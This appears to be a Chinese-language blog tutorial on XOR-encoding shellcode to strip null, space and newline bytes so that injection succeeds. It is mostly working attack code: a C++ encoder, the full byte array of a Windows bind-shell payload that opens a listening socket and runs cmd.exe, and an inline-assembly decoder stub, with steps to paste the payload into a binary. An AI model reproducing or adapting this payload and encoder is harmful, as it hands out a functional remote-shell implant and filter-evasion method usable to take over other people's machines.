Loading... 1. 为什么对ShellCode加密 1. 因为ShellCode如果有空格、换行等,可以截断读取文本的行为,就无法完全读取到ShellCode。导致无法注入成功 --- # ShellCode加密代码 BindShell 生成的ShellCode 。 对ShellCode异或一个值,使其没有0,空格,换行。 ``` #include "stdafx.h" bool AutoEnCoder( char* pData, int nSize ) { // 1. 尝试不同的KEY进行加密,直到加密后不出现 0x00; int nOutKey = 0x00; unsigned char* pBuffer = nullptr; bool bComplete = true; pBuffer = ( unsigned char* )new char[ nSize + 1 ]; for ( int key = 0; key <= 0xFF; key++) { nOutKey = key; bComplete = true; for ( int i = 0; i < nSize; i++ ) { pBuffer[ i ] = pData[ i ] ^ key; if ( 0x00 == pBuffer[i] || 0x0A == pBuffer[i] || 0x0D == pBuffer[i] || 0x20 == pBuffer[i]) { // 如果加密后的字节为0x00直接跳出循环,用下一个KEY进行加密 bComplete = false; break; } } if (bComplete) { // 如果到了这里依然都是不为0的结果,那么说明加密完成。跳出 break; } } if ( !bComplete ) { // 全部找完还未加密完成直接不做接下来的操作 return false; } // 保存KEY和加密后的文本 FILE* fpOutFile; if ( EINVAL == fopen_s(&fpOutFile,"Encode.txt","w+") ) { // 增加健壮 return false; } // 输出'Encode Key = 0xXX' fprintf( fpOutFile, "/* Encode Key = 0x%.2x */\n", nOutKey ); // 输出加密后的字符数组 fprintf( fpOutFile, "char ShellCode[] = \\\n" ); for (int i = 0; i < nSize; i++ ) { fprintf( fpOutFile, "\\x%.2X", pBuffer[ i ] ); if ((i+1)%16 == 0) { fprintf( fpOutFile, "\"\\\n" ); } } // 再输出一个 "; fprintf( fpOutFile, "\";" ); // 完成,关闭句柄,释放资源 fclose( fpOutFile ); delete[]pBuffer; return true; } char cShellCode[] = "\x83\xEC\x50\x55\x8B\xEC\x83\xEC\x10\xEB\x20\x63\x6D\x64\x2E\x65\x78\x65\x00\x77\x73\x32\x5F\x33\x32\x2E\x64\x6C\x6C\x00\x6B\x65\x72\x6E\x65\x6C\x33\x32\x2E\x64\x6C\x6C\x00\xE8\x00\x00\x00\x00\x5B\x89\x5D\xFC\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x56\x08\x52\x68\x87\x32\xD8\xC0\xE8\x3E\x00\x00\x00\x8B\xF8\x8D\x73\xEE\x6A\x00\x6A\x00\x56\xFF\xD7\x89\x45\xF8\x8D\x73\xE3\x6A\x00\x6A\x00\x56\xFF\xD7\x89\x45\xF4\xFF\x75\xF4\xFF\x75\xF8\xFF\x75\xFC\xE8\xCD\x00\x00\x00\xFF\x75\xF8\x68\x63\x89\xD1\x4F\xE8\x07\x00\x00\x00\x6A\x00\xFF\xD0\x8B\xE5\x5D\x55\x8B\xEC\x83\xEC\x0C\x52\x8B\x4D\x0C\x8B\x41\x3C\x8B\x44\x08\x78\x8B\x7C\x08\x1C\x03\xF9\x89\x7D\xFC\x8B\x7C\x08\x20\x03\xF9\x89\x7D\xF8\x8B\x7C\x08\x24\x03\xF9\x89\x7D\xF4\x8B\x7C\x08\x18\x33\xC9\xEB\x01\x41\x8B\x75\xF8\x8B\x34\x8E\x8B\x55\x0C\x8D\x34\x32\xFF\x75\x08\x56\xE8\x21\x00\x00\x00\x83\xF8\x01\x75\xE5\x8B\x75\xF4\x33\xFF\x66\x8B\x3C\x4E\x8B\x55\xFC\x8B\x34\xBA\x8B\x55\x0C\x8D\x04\x32\x5A\x8B\xE5\x5D\xC2\x08\x00\x55\x8B\xEC\x83\xEC\x04\xC7\x45\xFC\x00\x00\x00\x00\x53\x51\x52\x8B\x75\x08\x33\xC9\x33\xC0\x8A\x04\x0E\x84\xC0\x74\x16\x8B\x5D\xFC\xC1\xE3\x19\x8B\x55\xFC\xC1\xEA\x07\x0B\xDA\x03\xD8\x89\x5D\xFC\x41\xEB\xE3\x8B\x5D\x0C\x8B\x55\xFC\x33\xC0\x3B\xDA\x75\x05\xB8\x01\x00\x00\x00\x5A\x59\x5B\x8B\xE5\x5D\xC2\x08\x00\x55\x8B\xEC\x81\xEC\x00\x03\x00\x00\xFF\x75\x10\x68\x3D\x6A\xB4\x80\xE8\x31\xFF\xFF\xFF\x8D\xB5\x00\xFD\xFF\xFF\x56\x68\x02\x02\x00\x00\xFF\xD0\x85\xC0\x0F\x85\x00\x01\x00\x00\xFF\x75\x10\x68\x2D\x32\x78\xDE\xE8\x0E\xFF\xFF\xFF\x6A\x00\x6A\x00\x6A\x00\x6A\x06\x6A\x01\x6A\x02\xFF\xD0\x89\x45\xFC\xFF\x75\x10\x68\x64\x10\xA7\xDD\xE8\xF0\xFE\xFF\xFF\x66\xC7\x85\x00\xFE\xFF\xFF\x02\x00\x66\xC7\x85\x02\xFE\xFF\xFF\x05\xEB\xC7\x85\x04\xFE\xFF\xFF\x00\x00\x00\x00\x8D\xB5\x00\xFE\xFF\xFF\x6A\x10\x56\xFF\x75\xFC\xFF\xD0\x85\xC0\x0F\x85\xA3\x00\x00\x00\xFF\x75\x10\x68\x0C\x9F\xD3\x4B\xE8\xB1\xFE\xFF\xFF\x68\xFF\xFF\xFF\x7F\xFF\x75\xFC\xFF\xD0\x83\xF8\x00\x0F\x85\x83\x00\x00\x00\xFF\x75\x10\x68\xB1\x1E\x97\x01\xE8\x91\xFE\xFF\xFF\x6A\x00\x6A\x00\xFF\x75\xFC\xFF\xD0\x89\x45\xFC\xFF\x75\x0C\x68\xC9\xBC\xA6\x6B\xE8\x78\xFE\xFF\xFF\x8B\xD0\x8D\xBD\x70\xFF\xFF\xFF\xB9\x11\x00\x00\x00\xB8\x00\x00\x00\x00\xFC\xF3\xAB\xC7\x85\x70\xFF\xFF\xFF\x44\x00\x00\x00\xC7\x45\x9C\x00\x01\x00\x00\x66\xC7\x45\xA0\x00\x00\x8B\x75\xFC\x89\x75\xA8\x89\x75\xAC\x89\x75\xB0\x8D\xB5\x70\xFF\xFF\xFF\x8D\xBD\x00\xFE\xFF\xFF\x8B\x5D\x08\x8D\x5B\xDB\x57\x56\x6A\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x00\x6A\x00\x53\x6A\x00\xFF\xD2\x8B\xE5\x5D\xC2\x0C\x00"; //char cShellCode[] = \ //"\x83\xEC\x50\x55\x8B\xEC\x83\xEC\x10\xEB\x20\x63\x6D\x64\x2E\x65"\ //"\x78\x65\x00\x77\x73\x32\x5F\x33\x32\x2E\x64\x6C\x6C\x00\x6B\x65"\ //"\x72\x6E\x65\x6C\x33\x32\x2E\x64\x6C\x6C\x00\xE8\x00\x00\x00\x00"\ //"\x5B\x89\x5D\xFC\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76"\ //"\x1C\x8B\x36\x8B\x56\x08\x52\x68\x87\x32\xD8\xC0\xE8\x3E\x00\x00"\ //"\x00\x8B\xF8\x8D\x73\xEE\x6A\x00\x6A\x00\x56\xFF\xD7\x89\x45\xF8"\ //"\x8D\x73\xE3\x6A\x00\x6A\x00\x56\xFF\xD7\x89\x45\xF4\xFF\x75\xF4"\ //"\xFF\x75\xF8\xFF\x75\xFC\xE8\xCD\x00\x00\x00\xFF\x75\xF8\x68\x63"\ //"\x89\xD1\x4F\xE8\x07\x00\x00\x00\x6A\x00\xFF\xD0\x8B\xE5\x5D\x55"\ //"\x8B\xEC\x83\xEC\x0C\x52\x8B\x4D\x0C\x8B\x41\x3C\x8B\x44\x08\x78"\ //"\ int main() { AutoEnCoder(cShellCode,sizeof(cShellCode)); return 0; } ``` # ShellCode 解密代码 将下面代码 更改ShellCode的字节数。和解密密钥即可,然后生成exe. ``` int main() { _asm { xor eax, eax; // GetPC call tag_Get_PC - 1; tag_Get_PC: retn; pop eax; // Decode lea esi, [ eax + 0x1B ]; //这段代码的字节数,这段代码的字节数,之后保存的是要解密的ShellCode--当前这段ShellCode 的大小 xor ecx, ecx; //计数器清0 mov cx, 0x27b; //要解密ShellCode的大小--这里更改 tag_Decode: mov al, [ esi + ecx ]; //按照索引找字节 xor al, 0x17; //逐字节异或key---这里需要更改 mov[ esi + ecx ], al; //解密后的字节放回原来的位置 loop tag_Decode; //循环ECX xor[ esi + ecx ], 0x17; //第一个字节也异或一次 loop会自减循环,到0会减少一次 jmp esi; } return 0; } ``` 右键-二进制-编辑-ShellCode 粘贴  ---  最后修改:2021 年 01 月 14 日 © 允许规范转载 赞 2 如果觉得我的文章对你有用,请随意赞赏
1 条评论
小白白